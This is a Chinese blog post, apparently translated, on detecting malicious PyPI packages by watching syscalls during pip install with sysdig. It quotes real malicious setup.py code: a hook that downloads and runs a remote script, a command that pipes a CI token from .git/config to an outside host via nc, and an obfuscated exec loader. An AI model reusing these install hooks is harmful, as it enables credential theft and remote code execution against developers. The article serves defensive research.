有人在代码里下毒!慎用 pip install 命令

投毒者对 PyPi 上的开源包开发者下手了 OSCS分析认为目前攻击者在不断更新攻击手法,在不断注册小号投毒的基础上,开始试图通过窃取开发者用户账号进行投毒,如果有知名项目被窃取PyPi 凭据,后果不堪设想。如果您是 PyPi 贡献者,请开启2FA认证防止被窃取凭证后影响PyPi项目。... 阅读详情

大约一年前,Python软件基金会(Python Software Foundation)发了一个需求咨询帖子(RFI,https://discuss.python.org/t/what-methods-should-we-implement-to-detect-malicious-content/2240),主要问题是来讨论我们如何检测上传到PyPI的恶意第三方软件包。无论是被接管了废弃的软件包,对流行的库进行Typosquatting攻击钓鱼劫持,还是对第三方库进行撞库攻击,很明显,这都是一个值得思考的问题,几乎影响到每个开发者。使用pip install安装软件包时,大多数人不清楚自己所需的python模块在哪个软件包中,有时候甚至是模糊搜索安装,这就给恶意利用的人提供了机会。

事实上,像PyPI这样的软件包管理器是几乎每个公司都依赖的关键基础架构。针对这个问题的严重性我们可以在这个主题上谈上几天几夜,不过看了下面的这张图你就明白了。

我想对此做进一步的探讨,因此在本文中,我将逐步介绍如何安装和分析PyPI中的软件包并寻找恶意攻击活动。

如何查找恶意包

为了在安装过程中运行任意命令,作者通常将代码添加到其程序包中的setup.py文件中。您可以在此github存储库(https://github.com/rsc-dev/pypi_malware/tree/master/malware)中看到一些示例。

总的来说,您可以用以下两种方式来查找潜在的恶意依赖包:查看代码中的不良内容(静态分析),或者可以安装它们以查看会发生什么情况(动态分析)。

虽然静态分析非常有趣(我曾在Node.js 的包管理工具npm上手动使用grep命令搜寻到了恶意软件包,``https://duo.com/decipher/hunting-malicious-npm-packages`),但在这篇文章中,我将重点介绍动态分析。毕竟我认为它会有效果,因为你正在查看实际发生的事情,而不是仅仅寻找未来可能发生的事。

那我们到底在寻找什么呢?

如何把握重点

通常,任何重要操作发生都是由内核完成的,普通程序(如pip)通过内核执行重要操作是通过使用syscall来完成的。使用syscall可以完成打开文件、建立网络连接和执行命令的所有操作!

您可以从Julia Evans的漫画中了解syscall的更多内容:

这意味着,如果我们可以在安装Python软件包期间监视系统调用(syscalls),就可以查看是否发生了任何可疑事件。

监测系统调用(syscalls)这个方法并不是我想到的。自2017年以来,亚当·鲍德温(Adam Baldwin)等人就一直在谈论这一问题。佐治亚理工学院的研究人员发表了一篇出色的论文(https://arxiv.org/pdf/2002.01139.pdf),采用了同样的方法。老实说,大多数博客文章只是试图重现他们的想法。

现在,我们想监测系统调用(syscalls),那么到底该怎么做呢?

使用Sysdig监测Syscall

有许多旨在让您监测系统调用的工具,对于本项目,我使用sysdig,因为它既提供结构化输出,又提供了一些非常好的过滤功能。

为了使该工作正常进行,在启动安装该软件包的Docker容器时,我还启动了一个sysdig进程,该进程仅监测该容器中的事件。我也过滤掉了要从pypi.org或files.pythonhosted.com进行的网络读取/写入,因为我不想被与软件包下载相关的事件写满日志。

通过捕获系统调用的方法,我不得不解决另一个问题:如何获取所有PyPI软件包的列表。

获取Python包

对我们来说幸运的是,PyPI拥有一个称为Simple API(https://www.python.org/dev/peps/pep-0503/)的API,可以将其视为“一个非常大的HTML页面,其中包含指向每个包的链接”。它简单,干净而且比我可能会写的任何HTML都要好。

我们可以抓取此页面并使用pup解析所有链接,从而为我们提供约268,000个软件包:

> curl https://pypi.org/simple/ | pup'a text {}'> pypi_full.txt

> wc -l pypi_full.txt
  268038 pypi_full.txt

对于本实验,我只关心每个软件包的最新版本。较旧的版本中可能埋藏着恶意版本的软件包,但AWS不会自己买单(笑)。

我最终实现了一个看起来像这样的管道:

简而言之,我们将每个软件包名称发送到一组EC2实例(我希望将来使用AWS Fargate无服务器化容器解决方案或其他东西,但我现在也不知道Fargate怎么用,所以……),该程序会从PyPI中获取有关软件包的一些元数据,然后在一系列容器pip install安装软件包同时启动sysdig,以监测syscall和网络流量。然后,所有数据都被运送到S3以供未来使用。

这个过程如下所示:

结果

过程一旦完成,我将在一个S3存储库中获取几TB的数据,覆盖大约245,000个软件包。尽管有的软件包没有发布版本,有的软件包具有各种bug,但是这似乎也是一个很好的样本。

现在开始有趣的部分:分析!(其实是一系列枯燥的grep操作)

我合并了元数据和输出,提供了一系列如下所示的JSON文件:

{
    "metadata": {},
    "output": {
        "dns": [],         // Any DNS requests made
        "files": [],       // All file access operations
        "connections": [], // TCP connections established
        "commands": [],    // Any commands executed
    }
}

然后,我编写了一系列脚本来开始汇总数据,以试图区别是良性程序包和恶意程序包。让我们深入研究一些结果。

网络请求

在安装过程中,软件包需要建立网络连接的原因有很多。他们可能需要下载合法的二进制组件或其他资源,它们可能是一种分析形式,或者可能正试图从系统中窃取数据或凭证。

结果发现,有460个软件包将网络连接到109个特定主机。就像上面论文提到的一样,其中很多是程序包共享建立网络连接依赖关系的结果。可以通过映射依赖关系将其过滤掉,但是我在这里还没有做过。

这里(https://gist.github.com/jordan-wright/c8b273372368ee639dec46b08a93bce1)是安装过程中看到的DNS请求明细。

执行命令

像网络连接一样,在安装过程中,软件包有合理的理由运行系统命令。可以是编译二进制文件,或者设置正确的运行环境等。

查看我们的样本,发现60,725个软件包在安装过程中正在执行命令。就像网络连接一样,其中许多是依赖项(运行命令的程序包)的结果。

一些有趣的第三方包

深入研究结果后,发现大多数网络连接和命令似乎都是合乎常理预期的。但是,我想举几个奇怪的例子作为案例研究,以说明这种类型的分析多有用。

i-am-malicious

一个名为i-am-malicious的软件包似乎是恶意软件包的证明。以下是一些有趣的细节,使我们认为该程序包值得研究(如果名称不够的话......):

{
  "dns": [{
          "name": "gist.githubusercontent.com",
          "addresses": [
            "199.232.64.133"
          ]
    }]
  ],
  "files": [
    ...
    {
      "filename": "/tmp/malicious.py",
      "flag": "O_RDONLY|O_CLOEXEC"
    },
    ...
    {
      "filename": "/tmp/malicious-was-here",
      "flag": "O_TRUNC|O_CREAT|O_WRONLY|O_CLOEXEC"
    },
    ...
  ],
  "commands": [
    "python /tmp/malicious.py"
  ]
}

我们看到与gist.github.com的连接,正在执行一个Python文件,并在此处创建了一个名为/ tmp / malicious-was-here的文件。当然,这就是setup.py中发生的事情:

from urllib.request import urlopen

handler = urlopen("https://gist.githubusercontent.com/moser/49e6c40421a9c16a114bed73c51d899d/raw/fcdff7e08f5234a726865bb3e02a3cc473cecda7/malicious.py")
with open("/tmp/malicious.py", "wb") as fp:
    fp.write(handler.read())

import subprocess

subprocess.call(["python", "/tmp/malicious.py"])

malicious.py程序只是向/ tmp / malicious-was-here添加了““I was here”类型的消息,表明这确实是一个证明。

maliciouspackage

另一个自称为"恶意程序包"的maliciouspackage更邪恶。这是相关的输出:

{
  "dns": [{
      "name": "laforge.xyz",
      "addresses": [
        "34.82.112.63"
      ]
  }],
  "files": [
    {
      "filename": "/app/.git/config",
      "flag": "O_RDONLY"
    },
  ],
  "commands": [
    "sh -c apt install -y socat",
    "sh -c grep ci-token /app/.git/config | nc laforge.xyz 5566",
    "grep ci-token /app/.git/config",
    "nc laforge.xyz 5566"
  ]
}

和之前一样,我们的输出使我们对发生的事情有了一个不错的了解。在这种情况下,程序包似乎从.git / config文件中提取令牌并将其上传到laforge.xyz。浏览setup.py,我们发现确实是这样:

...
import os
os.system('apt install -y socat')
os.system('grep ci-token /app/.git/config | nc laforge.xyz 5566')

easyIoCtl

easyIoCtl是一个有趣的软件包。它声称可以“摆脱无聊的IO操作”,但我们看到以下命令正在执行:

[
  "sh -c touch /tmp/testing123",
  "touch /tmp/testing123"
]

可疑,但可能不是有意为之。但是这是一个完美的示例,显示了监测系统调用的功能。这是项目的setup.py中的相关代码:

class MyInstall():
    def run(self):
        control_flow_guard_controls = 'l0nE@`eBYNQ)Wg+-,ka}fM(=2v4AVp![dR/\\ZDF9s\x0c~PO%yc X3UK:.w\x0bL$Ijq<&\r6*?\'1>mSz_^C\to#hiJtG5xb8|;\n7T{uH]"r'
        control_flow_guard_mappers = [81, 71, 29, 78, 99, 83, 48, 78, 40, 90, 78, 40, 54, 40, 46, 40, 83, 6, 71, 22, 68, 83, 78, 95, 47, 80, 48, 34, 83, 71, 29, 34, 83, 6, 40, 83, 81, 2, 13, 69, 24, 50, 68, 11]
        control_flow_guard_init = ""
        for controL_flow_code in control_flow_guard_mappers:
            control_flow_guard_init = control_flow_guard_init + control_flow_guard_controls[controL_flow_code]
        exec(control_flow_guard_init)

此代码片段混淆不清,很难说出是怎么回事,传统的静态分析可能会抓住对exec的调用,但仅此而已。

要查看其作用,我们可以用打印替换exec,结果是:

import os;os.system('touch /tmp/testing123')

这正是我们记录的命令,表明即使代码混淆也不会影响我们的结果,因为我们正在对系统调用进行监视。

当我们发现恶意软件包时会发生什么?

值得简要讨论一下,当我们发现恶意程序包时该怎么办。首先要做的是提醒PyPI志愿者,以便他们下架这个包。可以通过联系security@python.org来完成。

之后,我们可以使用BigQuery上的PyPI公开数据集,查看该包的下载次数。

这是一个示例查询,用于查找在过去30天内安装了maliciouspackage的次数:

#standardSQL
SELECT COUNT(*) AS num_downloads
FROM `the-psf.pypi.file_downloads`
WHERE file.project = 'maliciouspackage'
  -- Only query the last 30 days of history
  AND DATE(timestamp)
    BETWEEN DATE_SUB(CURRENT_DATE(), INTERVAL 30 DAY)
    AND CURRENT_DATE()

运行此查询命令,结果表明它已被下载400次以上。

未来展望

第一步只是初步了解了整个PyPI的概况。查看数据,我发现没有任何程序包进行了严重有害的活动,而且名称中的某处也没有“恶意”。这很好!(其实并非如此,如果你在 2017-05-24 到 2017-05-31 这段时间内执行过 pip install smb或者 pip download smb, 那么你的个人信息可能已经泄露)但是我总是有可能错过某些事情,或者将来会发生。如果您有兴趣挖掘数据,可以在这里(https://drive.google.com/file/d/1ukZK5-JEQrmo_t15aq_4z-jlkjNqbec8/view?usp=sharing)找到。

展望未来,我正在设置一个Lambda函数,以使用PyPI的RSS feed功能获取最新的软件包更新。每个更新的程序包都将经过相同的处理,如果检测到可疑活动,则会发送警报。

我仍然不喜欢仅通过pip install命令就可以让程序在用户系统上执行任意操作。我知道大多数程序包都是善意的,但它带来了风险。希望越来越多地监测各种第三方程序包管理器,并识别出恶意活动的迹象。

这不是PyPI独有的。之后,我希望对RubyGems,npm和其他程序包管理库进行相同的分析,就像我之前提到的研究人员一样。同时,您可以在此处(https://github.com/jordan-wright/ossmalware)找到用于运行实验的所有代码。

文末福利

各位猿们,还在为记不住API发愁吗,哈哈哈,最近发现了国外大师整理了一份Python代码速查表和Pycharm快捷键sheet,火爆国外,这里分享给大家。

这个是一份Python代码速查表

下面的宝藏图片是2张(windows && Mac)高清的PyCharm快捷键一览图

怎样获取呢?可以添加我们的AI派团队的程序媛姐姐

一定要备注【高清图】哦

????????????????????

➕我们的程序媛小姐姐微信要记得备注【高清图】哦

来都来了,喜欢的话就请分享、点赞、在看三连再走吧~~~

【pip command】之 pip install 本文是对该参考手册的摘抄和再整理,也记录了自己使用该命令行的过程。 阅读详情

相关推荐

【一文理解】conda install & pip install 区别

大部分情况下,conda install & pip install 二者安装的package都可以正常work,但是混装多种package后容易版本冲突,出现各种报错。

Frost_Descent的博客 2658

python opencv 调用摄像头失败问题的解决 Windows

python opencv 调用摄像头,运行到 cv2.VideoCapture() 的时候出现无报错但卡住这一现象的可能解决方案

qq_53937391的博客 9472

微带线贴片天线尺寸的计算,利用Matlab计算+常见的RF计算在线公式

微带线贴片天线尺寸的计算,利用Malatb计算 这几天在使用hfss对矩形天线仿真,每次改变频率和实验的材料,都要重新计算一遍,太麻烦了,所以用matlab进行计算。 知道天线的工作频率:f_r 介质板的介电常数:epsilon_r 介质板厚度:h 就可以计算出矩形天线的长:L 矩形天线的宽:W 对于下面公式的单位要注意,公式以及化简了,要注意单位 由于matlab中的变量不能用希腊字母代替,所以用了该字母的读音 代码如下: f_r=2.45; %工作频率,单位GHz epsilon_r=3.5;

weixin_43404609的博客 2万+

windows下python读取网络摄像头

windows下python读取网络摄像头 这几天天天搭建环境,都快疯了,到处找包,到处安装,到处出错,读不出来网络摄像头,不过经过不懈努力终于把环境配好了,真不容易,在上一篇VSCode+python+opencv搭建过程的基础上开始搭建。 可以通过命令where python查看python的安装路径, ...

qq_43046763的博客 2985

mfcc总结,这个mel三角滤波器分组到底是如何起作用的呢?

先看fft频谱图(这是4096字节取样fft计算,横轴频率是从0到512,后边意义不大,未取,纵轴是振幅),那些我随便画的蓝色线,你有什么联想?: 再看,这绿色线,是否有一种上升后,便逐渐式微的感觉,都是三角形的,这或许也是mel当初和绝大多数人看到的: 如果在振幅上加上一条限制的黑线(振幅门槛限制),黑色线以下很多频率就没有意义了,你看,有用的频率连一半(512/2=256)都占不到...

ganggangwawa的博客 9911

Axial Attention 和 Criss-Cross Attention及其代码实现

Axial Attention 和 Criss-Cross Attention及其代码实现 ​ 文章目录Axial Attention 和 Criss-Cross Attention及其代码实现1 Criss - Cross Attention介绍1.1 引言1.2 理论实现1.2.1 获取权重A1.2.2 Affinity操作1.3.3 全部信息获取1.3 代码实现1.3.1 官方实现1.3.2 纯pytorch实现2 Axial Attention 介绍2.1 引言2.2 理论实现2.3 代码实现2.3

fzl的博客 2万+

Python OpenCV 读取USB摄像头报错问题解决

解决Python OpenCV读取USB摄像头数据出错的问题

言不中的预言不存在 4866

别再让充电器‘罢工’了!聊聊Charger里VIN-DPM这个不起眼但关键的功能

本文深入探讨了充电IC中的VIN-DPM(输入电压动态电源管理)功能,揭示其如何智能调节充电策略以避免电源适配器过载。通过实际案例和实验室数据,展示了VIN-DPM在提升充电稳定性和效率中的关键作用,并提供了选型、设计和故障排查的实用指南。

weixin_33738578的博客 416

python安装库后无法调用摄像头_银川监控摄像头安装,有人在代码里下毒!慎用 pip install 命令...

原标题:银川监控摄像头安装,有人在代码里下毒!慎用 pip install 命令 大约一年前,Python软件基金会(Python Software Foundation)发了一个需求咨询帖子(RFI,https://discuss.python.org/t/what-methods-should-we-implement-to-detect-malicious-content/2240),主要问...

weixin_39904268的博客 1080

【无人机基站】基于K-mean算法实现无人机基站部署附matlab代码

【无人机基站】基于K-mean算法实现无人机基站部署附matlab代码

天天酷科研的博客 246

在实车上进行lio-sam测试

PS:将雷达和imu相对固定后,拆下来,原地晃啊晃,直到xyz进度达到百分百,参考gif。标定完成后,会在result文件夹下生成result.txt。

如果想成为中心,那么就到中心去吧。 998

pip install 命令详解

pip是 Python 的标准包管理器,允许用户从 Python 包索引(PyPI)或其他来源安装、卸载和管理 Python 包。它是 Python 开发者管理项目依赖的核心工具,尤其在处理复杂依赖关系时非常有用。

likuoelie的博客 4168

matlab之作图设置游标的精度

matlab画出的figure游标的精度往往是固定的,这就对我们的调试和查看数据造成了不便。 那么怎么修改游标的精度呢? 首先,获取游标dcm_obj = datacursormode(gcf);然后对游标的精度进行设置:set(dcm_obj,'UpdateFcn',@NewCallback)这个NewCallback是什么东西呢?这是一个可以返回游标精度的函数,具体内容如下:function

落日之城 8959

PIP install 命令详解

--prefix` 是 `pip install` 命令的一个选项,用于指定安装的前缀(prefix)目录,该目录包含顶级文件夹,如 `lib`、`bin` 等。通常,在使用这个选项时,还需要指定 `--implementation`、`--platform` 和 `--python-version`。这个文件中的内容表示安装 `requests` 包的确切版本为 `2.26.0`,而安装 `numpy` 包的版本必须在 `1.21.0` 和 `1.22.0` 之间(不包括 `1.22.0`)。

weixin_45137871的博客 1万+

YOLOv8改进-bifpn

跨尺度连接通过添加一个跳跃连接和双向路径来实现,自此实现了加权融合和双向跨尺度连接。该结构是加权且双向连接的,即自顶向下和自底向上结构,通过构造双向通道实现跨尺度连接,将特征提取网络中的特征直接与自下而上路径中的相对大小特征融合,保留了更浅的语义信息,而不会丢失太多的深层语义信息。传统的特征融合时将尺度不同的特征图以相同权重进行加权,但是当输入的特征图分辨率不同时,以相同的权重进行加权对输出的特征图不平等。所以BiFPN根据不同输入特征的重要性设置不同的权重,同时反复采用这种结构来加强特征融合。

weixin_45303602的博客 8139

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

python pip常用指令(install,list,freeze)

首先,我们进入cmd命令控制界面,输入pip,查看下pip的命令集合 接下来我们来整理一下pip命令: commands 原指令解释 翻译 install Install package 安装python包 download download package 下载python包 uninstall Uninstall packag...

kkshuaicc的博客 4万+

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

【pip】pip常用命令及pip install部分含义

本文介绍pip常用命令及pip install的部分选项含义参考

m0_51371693的博客 2278

lwip-2.0.3

lwip是瑞典计算机科学院(SICS)的Adam Dunkels 开发的一个小型开源的TCP/IP协议栈。实现的重点是在保持TCP协议主要功能的基础上减少对RAM 的占用。

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

pip 常用指令 pip install 命令用法介绍

文章解释并演示了pip install 命令

dyy123 8965

python如何安装pip命令行,python如何安装pip install

pip 是 Python 包管理工具,该工具提供了对Python 包的查找、下载、安装和卸载的功能,现在大家用到的所有包不是自带的就是通过pip安装的。Python 2.7.9 + 或 Python 3.4+ 以上版本都自带 pip 工具python用turtle画固定樱花树。如果有同学没有安装Python,可以点击直达安装教程。

2301_81900386的博客 1483

pip3 install .和pip install .的用法以及在Windows环境下,如何通过命令行cd到D盘

pip3 install . 是一种使用 pip 安装 Python 包的方法,它的作用是将当前目录下的项目安装到你的 Python 环境中。b:你从 GitHub 或其他地方克隆了一个 Python 项目,并希望安装它:通常你会看到项目的根目录下有一个 setup.py 文件,这时你就可以用 pip3 install . 来安装这个项目。a:你在开发一个 Python 项目,并且希望在本地测试项目:这样可以方便地在开发过程中使用项目的包,而不需要每次都重新配置路径。命令,因此这里介绍下该命令的用法。

Time_Memory_cici的博客 4500
上一篇: 数据挖掘从入门到放弃(三):朴素贝叶斯
下一篇: 每周送书太少啦?这次一次送60本!
Wang_AI
博客等级 码龄12年 997粉丝 162原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值